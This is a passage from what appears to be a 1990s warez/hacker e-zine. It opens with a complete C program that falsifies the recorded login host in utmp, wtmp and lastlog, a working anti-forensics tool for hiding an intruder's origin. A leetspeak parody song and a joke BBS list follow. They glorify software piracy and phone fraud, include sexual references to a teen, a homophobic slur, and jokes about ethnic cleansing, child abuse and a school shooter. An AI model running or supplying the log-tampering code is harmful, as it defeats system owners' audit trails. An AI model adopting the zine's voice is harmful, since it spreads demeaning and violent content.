  1757. #include <stdio.h>
  1758. #include <unistd.h>
  1759. #include <fcntl.h>
  1760. #include <utmp.h>
  1761. #include <pwd.h>
  1762.  
  1763. #ifdef SUNOS
  1764. #include <lastlog.h>
  1765. #define _PATH_UTMP      "/etc/utmp"
  1766. #define _PATH_WTMP      "/var/adm/wtmp"
  1767. #define _PATH_LASTLOG   "/var/adm/lastlog"
  1768. #endif 
  1769.  
  1770. int main(ac, av)
  1771. int ac;
  1772. char **av;
  1773. {
  1774.  int fd;
  1775.  struct utmp ut;
  1776.  struct lastlog ll;
  1777.  struct passwd *pw;
  1778.  
  1779.  if(ac<3) { 
  1780.   fprintf(stderr,"Usage: %s user fakehost [tty]\n",av[0]);
  1781.   exit(1);
  1782.  }
  1783.  
  1784.  if((pw=getpwnam(av[1])) < 1) {
  1785.   fprintf(stderr,"Not in /etc/passwd.\n");
  1786.   exit(1);
  1787.  }
  1788.  
  1789.  if((fd=open(_PATH_UTMP,O_RDWR)) < 0) {
  1790.   fprintf(stderr,"Couldn't open %s\n",_PATH_UTMP);
  1791.   exit(1);
  1792.  }
  1793.  
  1794.  while(read(fd,&ut,sizeof(ut)) > 0) {
  1795.   if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) {
  1796.    if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) {
  1797.     memcpy(ut.ut_host, av[2], sizeof(ut.ut_host));
  1798.     lseek(fd, (int)-sizeof(ut), SEEK_CUR);
  1799.     write(fd, &ut, sizeof(ut));
  1800.    }
  1801.   }
  1802.  }
  1803.  
  1804.  close(fd);
  1805.  printf("%s successfully altered.\n", _PATH_UTMP);
  1806.  
  1807.  if((fd=open(_PATH_WTMP,O_RDWR)) < 0) {
  1808.   fprintf(stderr,"Couldn't open %s\n",_PATH_WTMP);
  1809.   exit(1);
  1810.  }
  1811.  
  1812.  lseek(fd,(long) -(sizeof(ut)), SEEK_END);
  1813.  
  1814.   while(read(fd,&ut,sizeof(ut)) > 0) {
  1815.   if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) {
  1816.    if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) {
  1817.     memcpy(ut.ut_host, av[2], sizeof(ut.ut_host));
  1818.     lseek(fd, (int)-sizeof(ut), SEEK_CUR);
  1819.     write(fd, &ut, sizeof(ut));
  1820.     break;
  1821.    }
  1822.   }
  1823.   lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR);
  1824.  }
  1825.  
  1826.   close(fd);
  1827.   printf("%s successfully altered.\n",_PATH_WTMP);
  1828.  
  1829.   if((fd=open(_PATH_LASTLOG,O_RDWR)) < 0) {
  1830.    fprintf(stderr,"Couldn't open %s\n",_PATH_LASTLOG);
  1831.    exit(1);
  1832.   }
  1833.  
  1834.   lseek(fd, (long)pw->pw_uid * sizeof(struct lastlog), 0);
  1835.   memcpy(ll.ll_host,av[2],sizeof(ll.ll_host));
  1836.   if(av[3]) {
  1837.    memcpy(ll.ll_line,av[3],sizeof(ll.ll_line));
  1838.   }
  1839.   write(fd, (char *)&ll, sizeof(ll));
  1840.  
  1841.   close(fd);
  1842.   printf("%s successfully altered.\n", _PATH_LASTLOG);
  1843. }
  1844.  
  1845. ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3-
  1846.  
  1847.  
  1848.  
  1849. ______________________________________________________________________________
  1850.  
  1851. 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
  1852. ______________________________________________________________________________
  1853. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1854. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1855. BoW BoW BoW BoW BoW Bo|     RHYM1N' AN' K0UR13R1N'     |BoW BoW BoW BoW BoW Bo
  1856. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1857. BoW BoW BoW BoW BoW Bo*          by: pbx p4t           *BoW BoW BoW BoW BoW Bo
  1858. ==============================================================================
  1859.  
  1860.  
  1861. rhYm1n an' k0ur13r1n
  1862. (sUng t0 th3 tUn3 0f 'rhymin and stealin' by the beastie boys)
  1863.  
  1864.  
  1865. b3kUz.. k0ur13r1n' 0-dAy 1z wh4t w3'r3 4ll ab0Ut!@#
  1866. 1m g0nn4 h4ck y0Ur b04rd & tUrn 1t 0n 0ut!
  1867. n0 dUm l4ym0r w1t 0ldw4r3z 0r 4 n4rq-1nf0rm3r
  1868. kUz 1m el8 g3tt1n el8r, h0t w4r3z g3tt1n w4rm3r
  1869.  
  1870. t3rr0r1z1n sUck3rz 0n th3 IRC
  1871. and 1ph u g0t b33f u'll g3t c4pp3d 1n th3 kn33z
  1872. w3 g0t s1xt33n w4r3z 0n an 0wn3d m4n'z ch3zt
  1873. and eYe rm'd th0z3 sUck3rz & 1'll rm th3 r3zt!
  1874.  
  1875. <ch0rUz>
  1876. m0zt z3r0-d4y k0ur13r, 1 g0t th4t f33l1n
  1877. kUz 1 4m m0zt 1ll, & 1m rhYm1n & k0ur13r1ng!
  1878.  
  1879. sn4tch1n y0' sp00lz, v1ck1n p13c3z 0f e1Ght,
  1880. 1 g0t y0' OE, & uR LEN, & ur l1c3nz3 pl4t3
  1881.  
  1882. w3 g0t w3nch3z 0n y4h00 ch4t & 1rc h0z w/ t1tt13z
  1883. cYb3rs3x1n' 4ll g1rl13z, fr0m c1tY t0 c1ty!@$#
  1884.  
  1885. 1 f0r 4ll & 4ll f0r 0n3
  1886. t4k1n 0ut lAym0rz w1t 4 b1g sh0tgUn
  1887. 4ll f0r 0n3 & 0n3 f0r 4ll 
  1888. kUz th3 Br0th3rh00d of W4r3z h4z g0n3 AWOL!@
  1889.  
  1890. sl1ng1n sUmm3r g4m3z & pUll1n ur k01lz,
  1891. b1g b1t1n sUck3rz g3tt1n k1ck3d fr0m #warez
  1892. w3 g0t m41d3nz & w3nch3z m4n th3y'r3 0n th3 4c3
  1893. er1kb 1z g0nn4 d13 wh3n w3 br34k h1z f4c3!
  1894.  
  1895. <r3p34t ch0rUz>
  1896. <r3p34t sev3r4l t1m3z>
  1897. U4EA & th3 f0rtY k0ur13rz
  1898.  
  1899. rm'1n & cr4ck1n & k0ur13r1n & st34l1n
  1900. r0bb1n & c0nf1n, bUzt1n tw0 1n th3 h4rd dr1v3
  1901. 1m wh33l1n 1m d34l1n 1m dr1nk1n n0t th1nk1n
  1902. n3v3r sl33p, n3v3r sh0w3r kUz 1m alw4yz dl`1n 
  1903.  
  1904. y0-h0-h0 & a 40 0f j0lt c0l4,
  1905. f0n3s3x1n a g1rl fr0m #teen n4m3d l0l4!
  1906.  
  1907. wAr3z ch4s1n (sc0tt?!@) fr33 b4z1n, k1ll1n ev3ry v1ll4g3
  1908. w3 h4q & k0ur13r & rhYm3, & p1ll4g3!
  1909.  
  1910. <r3p34t ch0rUz>
  1911.  
  1912. 1'v3 b33n dr1nk1n my c0k3 n0t p3pz1 kUz 1t'z g4y
  1913. 1 f0Ught th3 l4w & eY3 g0t mY p3nt1Um t4k3n aw4y
  1914.  
  1915. MOD 1z w34k, L0D 1z 0ff th3 b4ll,
  1916. kUz 1 pUll 0ut th3 dr0pst4t & eYe rM th3m 4ll!@$
  1917.  
  1918. mY h4rd-dr1v3 1z l04d3d, eYe h4qd - b3tty kr0ck3r
  1919. d3l1v3r c0mm4nd3r k33n d0wn t0 dAvy j0n3z' l0ck3r!@$
  1920.  
  1921. rhYm1n & k0ur13r1n 1n 4 sl33pl3zz st4t3, 
  1922. & 1ll b k0ur13r1n my w4r3z 4ll th3 w4y t0 pr1z0n'z g4t3
  1923.  
  1924. <r3p34t ch0rUz>
  1925. <g0 t0 t0p>
  1926.  
  1927.  
  1928.  PBX PAT PBX PAT PBX    |
  1929. P ._______________. P  -=PBX P4T - BoW - PBX P4T - BoW - PH34R!
  1930. H |pee   -:-   bee| H   | 
  1931. E \ +-----------+ / E  -=In ThE ZoNe WiTH d4h M4D M4D MeTrOfOnE
  1932. A : |pbx:pbx:pbx| : A   |
  1933. R : |pat:pat:pat| : R  -=K4LL1N H0mE w1TH m4h KaY-R4d ToUcHtOnE 
  1934. B / +-----------+ \ B   |
  1935. O |eks   -:-   pat| O  -=Iz NoT A Ch0R3 WhEn Y3r A #PhReAk HoRe
  1936. W `~~~~~~~~~~~~~~~' W   |
  1937.  PBX PAT PBX PAT PBX   -=K0D3Z I G0T M0R3 TH4N TH3 M1GHTY TH0R!
  1938.  
  1939.  
  1940. ______________________________________________________________________________
  1941.  
  1942. 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13
  1943. ______________________________________________________________________________
  1944. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1945. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1946. BoW BoW BoW BoW BoW Bo|  ThE OFFiCiAL BoW SiTE LiST!!  |BoW BoW BoW BoW BoW Bo
  1947. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1948. BoW BoW BoW BoW BoW Bo*          by: BoW STaFF         *BoW BoW BoW BoW BoW Bo
  1949. ==============================================================================
  1950.  
  1951.   Status           Name                Baud      Login/NUP        Number
  1952.   ------           ----                ----      ---------        ------
  1953.  WORLD HQ     THe GeNeRaL Le3          28.8        DoH       [WaY]-TO-ELiTE
  1954.  WWW HQ          C.N.R.T.            blinding     phear      www.velkro.net
  1955.  CAN HQ       WaReZz Mah WaReZ         28.8     SMaKMeW/0DaY [T0o]-PRi-VaTE
  1956.  UK HQ        ThEr3z Mah WaReZ         14.4     phate/haggis +44-T00-KRAD4U
  1957.  US HQ        K4T SKR4TCH F3V3R       300BPS    felismortis  [KIL]-All-K4tZ
  1958.  KOSOVO HQ   Ethn1c Dry Cl34n3rz       DOWN      dieslobo    (G0T)-BL0-WNUP
  1959.  MANILA HQ     El1t3 na El1t3          2400     putanginamo  +63-SK4N-4-1T!
  1960.  TEXAS HQ    T0uch3d By 4n Uncl3       4800     FaMiLyTiES   [J00]-PHEAR-US
  1961.  JAPAN HQ     H4ppY LuCkY WAr3Z         110      MrSpArKlE   +81-MESO-L33T1
  1962.  AUSI HQ     K0D3Z 0n th3 B4rb13        666      sun0sr0x    [S00]-VRY-31337
  1963.  DENVER HQ    iN Th3 Tr3NchEZz         16.8      kleb0ld1    [H4V]-PRO-P4N3
  1964.  FTP DISTRO    ftp.etext.org           fazt      anonymous     /Zines/BoW/  
  1965.  CHINA HQ      -K00D Be j0o-             0        -none-          911
  1966.  RUSIAN HQ     -k00D b3 Yo0-             0        -none-          911
  1967.  
  1968.  
  1969.  
  1970. iF YoU WaNT To BE a BoW KoURiER SiTE, SiMPLY eMAIL YoUR BBS aDD To
  1971. vkw@velkro.net (th4nkz To ThE VeLkR0 KoD3 W4rR1oR Ph0R T4kiNg K4R3 oF THiS)
  1972. oN ThE iNFORmATiON-S00PaH-Hi-WaY - MaKE SuRE To iNKlUDE iN YoUR aDD THaT YoU
  1973. ARe aN "oFFiCiAL BoW KoURiER SiTE" (CaSE SeNSiTiVE).
  1974.  
  1975.                   REMEMBER: PHONE PHRAUD IS PHUN PHRAUD.
  1976.  
  1977. +---------------------------------------------------------------------------+
  1978. |           - KoURiERZ FeR CHRiST (KFC) / THe APoSTLES oF APoGeE -          |
  1979. | WHQ ....... THE SHAO-LINE TOWERING CASTLE OF CODES ..........406-FUQ-OFFF |
  1980. | EURO-HQ ... THe K0d3 AB0dE...................................307-K-SPIFFY |
  1981. | US-HQ ..... TEMPLE OF ZeR0-DAY ..............................303-2EL-EET! |
  1982. | CAN-HQ .... TREMBLING SANCTUARY OF SoFTWaRE .................505-NOT-4YOU |
  1983. | AUSSI-HQ .. aLTER OF WaREZ ..................................913-NO1-ALWD |
  1984. | CHINA-HQ .. HeAVENLy K0D3Z ..................................816-NO-K0D3Z |
  1985. | RUSSIAN-HQ. M0T3l 31337......................................405-PRi-VATE |
  1986. | KANSAS-HQ.. WE'RE STiLL iN KANSAS T0T0 ......................903-FUQ-Yo00 |
  1987. +---------------------------------------------------------------------------+
  1988.  
  1989. 313373133731337313373133731337313373133731337313373133731337313373133731337313
  1990.  
  1991.                            END 0F TR4NZM1ZZi0N...
  1992.  
  1993. PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB
  1994.  
  1995. NO CARRIER       
  1996.